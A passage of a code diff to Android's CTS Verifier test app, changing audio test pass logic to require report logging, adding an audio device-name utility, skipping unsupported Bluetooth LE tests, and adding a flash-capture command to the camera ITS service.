public void recordTestResults() {
- Log.i(TAG, "recordTestResults() mNativeAnalyzerThread:" + mNativeAnalyzerThread);
-
- // We need to rework that
- CtsVerifierReportLog reportLog = getReportLog();
-
- int audioLevel = mAudioLevelSeekbar.getProgress();
- reportLog.addValue(
- KEY_LEVEL,
- audioLevel,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_PRO_AUDIO,
- mClaimsProAudio,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAP,
- mSupportsMMAP,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_TEST_MMAPEXCLUSIVE ,
- mSupportsMMAPExclusive,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- if (mNativeAnalyzerThread == null) {
- return; // no test results to report
+ for (int route = 0; route < NUM_TEST_ROUTES; route++) {
+ recordRouteResults(route);
}
-
- reportLog.addValue(
- KEY_SAMPLE_RATE,
- mNativeAnalyzerThread.getSampleRate(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- reportLog.addValue(
- KEY_IS_LOW_LATENCY,
- mNativeAnalyzerThread.isLowLatencyStream(),
- ResultType.NEUTRAL,
- ResultUnit.NONE);
-
- for (TestSpec testSpec : mTestSpecs) {
- testSpec.recordTestResults(reportLog);
- }
-
- reportLog.submit();
}
private void startAudioTest(Handler messageHandler, int testRouteId) {
@@ -658,6 +629,7 @@
e.printStackTrace();
}
+
mTestPhase++;
if (mTestPhase >= NUM_TEST_PHASES) {
handleTestCompletion();
@@ -683,7 +655,8 @@
mResultsText[mTestRoute].setText(testSpec.getResultString());
LoopbackLatencyRequirements requirements = new LoopbackLatencyRequirements();
- boolean pass = requirements.evaluate(mClaimsProAudio,
+ boolean pass = isReportLogOkToPass()
+ && requirements.evaluate(mClaimsProAudio,
Build.VERSION.MEDIA_PERFORMANCE_CLASS,
mTestSpecs[TESTROUTE_DEVICE].isMeasurementValid()
? mTestSpecs[TESTROUTE_DEVICE].mMeanLatencyMS : 0.0,
@@ -694,8 +667,12 @@
getPassButton().setEnabled(pass);
- String resultText = requirements.getResultsString();
- mTestStatusText.setText(resultText);
+ StringBuilder sb = new StringBuilder();
+ if (!isReportLogOkToPass()) {
+ sb.append(getResources().getString(R.string.audio_general_reportlogtest) + "\n");
+ }
+ sb.append(requirements.getResultsString());
+ mTestStatusText.setText(sb.toString());
showWait(false);
enableStartButtons(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index 591fe9b..1ece2f1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -32,6 +32,7 @@
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils;
import com.android.cts.verifier.CtsVerifierReportLog;
import com.android.cts.verifier.R;
@@ -131,13 +132,8 @@
String msg = mContext.getResources().getString(
R.string.audio_routingnotification_trackRoutingMsg);
AudioDeviceInfo routedDevice = audioTrack.getRoutedDevice();
- CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
- mConnectedPeripheralName = deviceName.toString();
- int deviceType = routedDevice != null ? routedDevice.getType() : -1;
- textView.setText(msg + " - " +
- deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
- " - " + mNumRoutingNotifications);
-
+ mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice);
+ textView.setText(msg + ": " + mConnectedPeripheralName);
mRoutingNotificationReceived = true;
calculatePass();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
index 215d26f..8ff2358 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
@@ -154,6 +154,8 @@
String yesString = getResources().getString(R.string.audio_general_yes);
String noString = getResources().getString(R.string.audio_general_no);
+ mRequireReportLogToPass = true;
+
boolean claimsProAudio = AudioSystemFlags.claimsProAudio(this);
boolean claimsLowLatencyAudio = AudioSystemFlags.claimsLowLatencyAudio(this);
@@ -311,11 +313,14 @@
}
double averageLatency = mLatencyAve[mActiveTestAPI];
- boolean pass = averageLatency != 0 && averageLatency <= mMaxRequiredLatency;
+ boolean pass = isReportLogOkToPass()
+ && averageLatency != 0 && averageLatency <= mMaxRequiredLatency;
if (pass) {
mSpecView.setText("Average: " + averageLatency + " ms <= "
+ mMaxRequiredLatency + " ms -- PASS");
+ } else if (!isReportLogOkToPass()) {
+ mSpecView.setText(getResources().getString(R.string.audio_general_reportlogtest));
} else {
mSpecView.setText("Average: " + averageLatency + " ms > "
+ mMaxRequiredLatency + " ms -- FAIL");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index b071652..232e14d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -96,6 +96,15 @@
}
}
+ boolean getBoolPropValue(final String value) {
+ if (value == null) {
+ return false;
+ }
+
+ return !value.equalsIgnoreCase(getResources().getString(
+ R.string.hifi_ultrasound_test_default_false_string));
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -110,27 +119,17 @@
info.setText(R.string.hifi_ultrasound_speaker_test_instruction1);
AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- String micSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND);
- String spkrSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND);
- Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString);
- Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString);
+ micSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND));
+ spkrSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND));
+ Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport);
+ Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport);
- if (micSupportString == null) {
- micSupportString = "null";
- }
- if (spkrSupportString == null) {
- spkrSupportString = "null";
- }
- if (micSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- micSupport = false;
+ if (!micSupport) {
info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_mic_no_support));
}
- if (spkrSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- spkrSupport = false;
+ if (!spkrSupport) {
getPassButton().setEnabled(true);
info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_spkr_no_support));
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
index 2948e38..a5a11f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
@@ -79,6 +79,15 @@
}
}
+ boolean getBoolPropValue(final String value) {
+ if (value == null) {
+ return false;
+ }
+
+ return !value.equalsIgnoreCase(getResources().getString(
+ R.string.hifi_ultrasound_test_default_false_string));
+ }
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -92,29 +101,19 @@
info.setText(R.string.hifi_ultrasound_test_instruction1);
AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
- String micSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND);
- String spkrSupportString = audioManager.getProperty(
- AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND);
- Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString);
- Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString);
+ micSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND));
+ spkrSupport = getBoolPropValue(audioManager.getProperty(
+ AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND));
+ Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport);
+ Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport);
- if (micSupportString == null) {
- micSupportString = "null";
- }
- if (spkrSupportString == null) {
- spkrSupportString = "null";
- }
- if (micSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- micSupport = false;
+ if (!micSupport) {
getPassButton().setEnabled(true);
getPassButton().performClick();
info.append(getResources().getString(R.string.hifi_ultrasound_test_mic_no_support));
}
- if (spkrSupportString.equalsIgnoreCase(getResources().getString(
- R.string.hifi_ultrasound_test_default_false_string))) {
- spkrSupport = false;
+ if (!spkrSupport) {
info.append(getResources().getString(R.string.hifi_ultrasound_test_spkr_no_support));
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 126d15f..e93d2b3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -158,11 +158,9 @@
boolean usbOK = mClaimsUSBHostMode && mClaimsUSBPeripheralMode;
boolean hdmiOK = !mClaimsHDMI || isHDMIValid();
- boolean hasPassed = !mClaimsProAudio ||
- (mClaimsLowLatencyAudio &&
- mClaimsMIDI &&
- usbOK &&
- hdmiOK);
+ boolean hasPassed = isReportLogOkToPass()
+ && !mClaimsProAudio
+ || (mClaimsLowLatencyAudio && mClaimsMIDI && usbOK && hdmiOK);
getPassButton().setEnabled(hasPassed);
return hasPassed;
@@ -172,7 +170,9 @@
boolean hasPassed = calculatePass();
Resources strings = getResources();
- if (hasPassed) {
+ if (!isReportLogOkToPass()) {
+ mTestStatusLbl.setText(getResources().getString(R.string.audio_general_reportlogtest));
+ } else if (hasPassed) {
mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_pass));
} else if (!mClaimsMIDI) {
mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_midinotreported));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
index bc23048..6270a5a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
@@ -20,23 +20,17 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-
import android.media.AudioDeviceCallback;
import android.media.AudioDeviceInfo;
import android.media.AudioManager;
-
import android.os.Bundle;
import android.os.Handler;
-
import android.util.Log;
-
import android.widget.TextView;
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R; // needed to access resource in CTSVerifier project namespace.
@@ -173,9 +167,10 @@
// Test Status
//
private boolean calculatePass() {
- return mUsbHeadsetInReceived && mUsbHeadsetOutReceived &&
- mUsbDeviceInReceived && mUsbDeviceOutReceived &&
- mPlugIntentReceived;
+ return isReportLogOkToPass()
+ && mUsbHeadsetInReceived && mUsbHeadsetOutReceived
+ && mUsbDeviceInReceived && mUsbDeviceOutReceived
+ && mPlugIntentReceived;
}
//
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java
new file mode 100644
index 0000000..c066942
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.media.AudioDeviceInfo;
+
+import java.util.HashMap;
+
+/**
+ * Utility methods for AudioDevices
+ */
+public class AudioDeviceUtils {
+ /*
+ * Channel Mask Utilities
+ */
+ private static final HashMap<Integer, String> sDeviceTypeStrings =
+ new HashMap<Integer, String>();
+
+ private static void initDeviceTypeStrings() {
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_UNKNOWN, "TYPE_UNKNOWN");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_EARPIECE, "TYPE_BUILTIN_EARPIECE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER, "TYPE_BUILTIN_SPEAKER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADSET, "TYPE_WIRED_HEADSET");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADPHONES, "TYPE_WIRED_HEADPHONES");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_ANALOG, "TYPE_LINE_ANALOG");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_DIGITAL, "TYPE_LINE_DIGITAL");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_SCO, "TYPE_BLUETOOTH_SCO");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "TYPE_BLUETOOTH_A2DP");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI, "TYPE_HDMI");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_ARC, "TYPE_HDMI_ARC");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_DEVICE, "TYPE_USB_DEVICE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_ACCESSORY, "TYPE_USB_ACCESSORY");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_DOCK, "TYPE_DOCK");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM, "TYPE_FM");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_MIC, "TYPE_BUILTIN_MIC");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM_TUNER, "TYPE_FM_TUNER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TV_TUNER, "TYPE_TV_TUNER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TELEPHONY, "TYPE_TELEPHONY");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_AUX_LINE, "TYPE_AUX_LINE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_IP, "TYPE_IP");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUS, "TYPE_BUS");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_HEADSET, "TYPE_USB_HEADSET");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HEARING_AID, "TYPE_HEARING_AID");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER_SAFE,
+ "TYPE_BUILTIN_SPEAKER_SAFE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_REMOTE_SUBMIX, "TYPE_REMOTE_SUBMIX");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_HEADSET, "TYPE_BLE_HEADSET");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_SPEAKER, "TYPE_BLE_SPEAKER");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_ECHO_REFERENCE, "TYPE_ECHO_REFERENCE");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_EARC, "TYPE_HDMI_EARC");
+ sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_BROADCAST, "TYPE_BLE_BROADCAST");
+ }
+
+ static {
+ initDeviceTypeStrings();
+ }
+
+ /**
+ * @param deviceType
+ * @return a human-readable device type name.
+ */
+ public static String getDeviceTypeName(int deviceType) {
+ String typeName = sDeviceTypeStrings.get(deviceType);
+ return typeName != null ? typeName : "invalid type";
+ }
+
+ /**
+ * @param deviceInfo
+ * @return A human-readable description of the specified DeviceInfo
+ */
+ public static String formatDeviceName(AudioDeviceInfo deviceInfo) {
+ StringBuilder sb = new StringBuilder();
+ sb.append(deviceInfo.getProductName());
+ sb.append(" - " + getDeviceTypeName(deviceInfo.getType()));
+ return sb.toString();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
index 803c385..164992b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -244,6 +244,16 @@
// The following order of commands follows the diagram of Bluetooth Core Specification,
// Version 5.3, Vol 6, Part D, Figure 3.7: Periodic advertising.
private void testPeriodicAdvertising() throws InterruptedException {
+ if (!mBluetoothAdapter.isLePeriodicAdvertisingSupported()) {
+ mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS
+ | PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA
+ | PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
+ mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
+ return;
+ }
+
mCallback.reset();
mCallback.mAdvertisingSet.get().setAdvertisingParameters(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 3c1c58b..21e2877 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -120,6 +120,8 @@
"com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
public static final String BLE_PHY_READ =
"com.android.cts.verifier.bluetooth.BLE_PHY_READ";
+ public static final String BLE_PHY_READ_SKIPPED =
+ "com.android.cts.verifier.bluetooth.BLE_PHY_READ_SKIPPED";
public static final String BLE_ON_SERVICE_CHANGED =
"com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
@@ -907,6 +909,12 @@
sendBroadcast(intent);
}
+ private void notifyPhyReadSkipped() {
+ showMessage("Phy read not supported. Skipping the test.");
+ Intent intent = new Intent(BLE_PHY_READ_SKIPPED);
+ sendBroadcast(intent);
+ }
+
private void notifyServiceChanged() {
showMessage("Remote service changed");
Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
@@ -1429,10 +1437,12 @@
public void onPhyRead(BluetoothGatt gatt, int txPhy, int rxPhy, int status) {
super.onPhyRead(gatt, txPhy, rxPhy, status);
if (DEBUG) {
- Log.d(TAG, "onPhyRead");
+ Log.d(TAG, "onPhyRead status=" + status);
}
if (status == BluetoothGatt.GATT_SUCCESS) {
notifyPhyRead(txPhy, rxPhy);
+ } else if (status == BluetoothGatt.GATT_REQUEST_NOT_SUPPORTED) {
+ notifyPhyReadSkipped();
} else {
notifyError("Failed to read phy");
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index 357bb14..2a7c8b4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -127,6 +127,7 @@
filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
filter.addAction(BleClientService.BLE_PHY_READ);
+ filter.addAction(BleClientService.BLE_PHY_READ_SKIPPED);
filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
@@ -375,6 +376,7 @@
newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
break;
case BleClientService.BLE_PHY_READ:
+ case BleClientService.BLE_PHY_READ_SKIPPED:
actionName = getString(R.string.ble_read_phy_name);
mTestAdapter.setTestPass(BLE_READ_PHY);
mPassed |= PASS_FLAG_READ_PHY;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 1349767..1ac6b0f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -32,6 +32,7 @@
import android.content.pm.ServiceInfo;
import android.graphics.ImageFormat;
import android.graphics.Rect;
+import android.graphics.SurfaceTexture;
import android.hardware.HardwareBuffer;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
@@ -241,6 +242,8 @@
final Object m3AStateLock = new Object();
private volatile boolean mConvergedAE = false;
+ private volatile boolean mPrecaptureTriggered = false;
+ private volatile boolean mConvergeAETriggered = false;
private volatile boolean mConvergedAF = false;
private volatile boolean mConvergedAWB = false;
private volatile boolean mLockedAE = false;
@@ -821,6 +824,8 @@
String cameraId = cmdObj.getString("cameraId");
int profileId = cmdObj.getInt("profileId");
doCheckHLG10Support(cameraId, profileId);
+ } else if ("doCaptureWithFlash".equals(cmdObj.getString("cmdName"))) {
+ doCaptureWithFlash(cmdObj);
} else {
throw new ItsException("Unknown command: " + cmd);
}
@@ -1031,7 +1036,9 @@
@Override
public void onImageAvailable(ImageReader reader) {
Image i = reader.acquireNextImage();
- i.close();
+ if (i != null) {
+ i.close();
+ }
}
};
}
@@ -1842,6 +1849,8 @@
// s1440p which is the max supported stream size in a combination, when preview
// stabilization is on.
Size maxPreviewSize = new Size(1920, 1440);
+ // QCIF, we test only sizes >= this.
+ Size minPreviewSize = new Size(176, 144);
Size[] outputSizes = configMap.getOutputSizes(ImageFormat.YUV_420_888);
if (outputSizes == null) {
mSocketRunnableObj.sendResponse("supportedPreviewSizes", "");
@@ -1852,6 +1861,8 @@
.distinct()
.filter(s -> s.getWidth() * s.getHeight()
<= maxPreviewSize.getWidth() * maxPreviewSize.getHeight())
+ .filter(s -> s.getWidth() * s.getHeight()
+ >= minPreviewSize.getWidth() * minPreviewSize.getHeight())
.sorted(Comparator.comparingInt(s -> s.getWidth() * s.getHeight()))
.map(Size::toString)
.collect(Collectors.joining(";"));
@@ -2122,7 +2133,7 @@
int fileFormat = MediaRecorder.OutputFormat.DEFAULT;
String outputFilePath = getOutputMediaFile(cameraDeviceId, videoSize,
- /* quality= */"preview", fileFormat, /* stabilized= */ true);
+ /* quality= */"preview", fileFormat, stabilize);
assert outputFilePath != null;
mMediaRecorder = new MediaRecorder(this);
@@ -2337,6 +2348,104 @@
return mediaFile + fileExtension;
}
+ private void doCaptureWithFlash(JSONObject params) throws ItsException {
+ // Parse the json to get the capture requests
+ List<CaptureRequest.Builder> previewStartRequests = ItsSerializer.deserializeRequestList(
+ mCamera, params, "previewRequestStart");
+ List<CaptureRequest.Builder> previewIdleRequests = ItsSerializer.deserializeRequestList(
+ mCamera, params, "previewRequestIdle");
+ List<CaptureRequest.Builder> stillCaptureRequests = ItsSerializer.deserializeRequestList(
+ mCamera, params, "stillCaptureRequest");
+
+ mCaptureResults = new CaptureResult[2];
+
+ ThreeAResultListener threeAListener = new ThreeAResultListener();
+ List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+ SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
+ Surface previewSurface = new Surface(preview);
+ try {
+ BlockingSessionCallback sessionListener = new BlockingSessionCallback();
+ try {
+ mCountCapRes.set(0);
+ mCountJpg.set(0);
+ JSONArray jsonOutputSpecs = ItsUtils.getOutputSpecs(params);
+ prepareImageReadersWithOutputSpecs(jsonOutputSpecs, /*inputSize*/null,
+ /*inputFormat*/0,/*maxInputBuffers*/0,false);
+
+ outputConfigs.add(new OutputConfiguration(mOutputImageReaders[0].getSurface()));
+ outputConfigs.add(new OutputConfiguration(previewSurface));
+ mCamera.createCaptureSessionByOutputConfigurations(
+ outputConfigs, sessionListener, mCameraHandler);
+ mSession = sessionListener.waitAndGetSession(TIMEOUT_IDLE_MS);
+ ImageReader.OnImageAvailableListener readerListener =
+ createAvailableListener(mCaptureCallback);
+ mOutputImageReaders[0].setOnImageAvailableListener(readerListener,
+ mSaveHandlers[0]);
+ } catch (Exception e) {
+ throw new ItsException("Error configuring outputs", e);
+ }
+ CaptureRequest.Builder previewIdleReq = previewIdleRequests.get(0);
+ previewIdleReq.addTarget(previewSurface);
+ mSession.setRepeatingRequest(previewIdleReq.build(), threeAListener, mResultHandler);
+ Logt.i(TAG, "Triggering precapture sequence");
+ mPrecaptureTriggered = false;
+ CaptureRequest.Builder previewStartReq = previewStartRequests.get(0);
+ previewStartReq.addTarget(previewSurface);
+ mSession.capture(previewStartReq.build(), threeAListener ,mResultHandler);
+ mInterlock3A.open();
+ synchronized(m3AStateLock) {
+ mPrecaptureTriggered = false;
+ mConvergeAETriggered = false;
+ }
+ long tstart = System.currentTimeMillis();
+ boolean triggeredAE = false;
+ while (!mPrecaptureTriggered) {
+ if (!mInterlock3A.block(TIMEOUT_3A * 1000) ||
+ System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) {
+ throw new ItsException (
+ "AE state is " + CaptureResult.CONTROL_AE_STATE_PRECAPTURE +
+ "after " + TIMEOUT_3A + " seconds.");
+ }
+ }
+ mConvergeAETriggered = false;
+
+ tstart = System.currentTimeMillis();
+ while (!mConvergeAETriggered) {
+ if (!mInterlock3A.block(TIMEOUT_3A * 1000) ||
+ System.currentTimeMillis() - tstart > TIMEOUT_3A * 1000) {
+ throw new ItsException (
+ "3A failed to converge after " + TIMEOUT_3A + " seconds.\n" +
+ "AE converge state: " + mConvergedAE + ".");
+ }
+ }
+ mInterlock3A.close();
+ Logt.i(TAG, "AE state after precapture sequence: " + mConvergeAETriggered);
+ threeAListener.stop();
+
+ // Send a still capture request
+ CaptureRequest.Builder stillCaptureRequest = stillCaptureRequests.get(0);
+ Logt.i(TAG, "Taking still capture with ON_AUTO_FLASH.");
+ stillCaptureRequest.addTarget(mOutputImageReaders[0].getSurface());
+ mSession.capture(stillCaptureRequest.build(), mCaptureResultListener, mResultHandler);
+ mCountCallbacksRemaining.set(1);
+ long timeout = TIMEOUT_CALLBACK * 1000;
+ waitForCallbacks(timeout);
+ mSession.stopRepeating();
+ } catch (android.hardware.camera2.CameraAccessException e) {
+ throw new ItsException("Access error: ", e);
+ } finally {
+ if (mSession != null) {
+ mSession.close();
+ }
+ if (previewSurface != null) {
+ previewSurface.release();
+ }
+ if (preview != null) {
+ preview.release();
+ }
+ }
+ }
+
private void doCapture(JSONObject params) throws ItsException {
try {
// Parse the JSON to get the list of capture requests.
@@ -2883,7 +2992,14 @@
result.get(CaptureResult.CONTROL_AE_STATE) ==
CaptureResult.CONTROL_AE_STATE_LOCKED;
mLockedAE = result.get(CaptureResult.CONTROL_AE_STATE) ==
- CaptureResult.CONTROL_AE_STATE_LOCKED;
+ CaptureResult.CONTROL_AE_STATE_LOCKED;
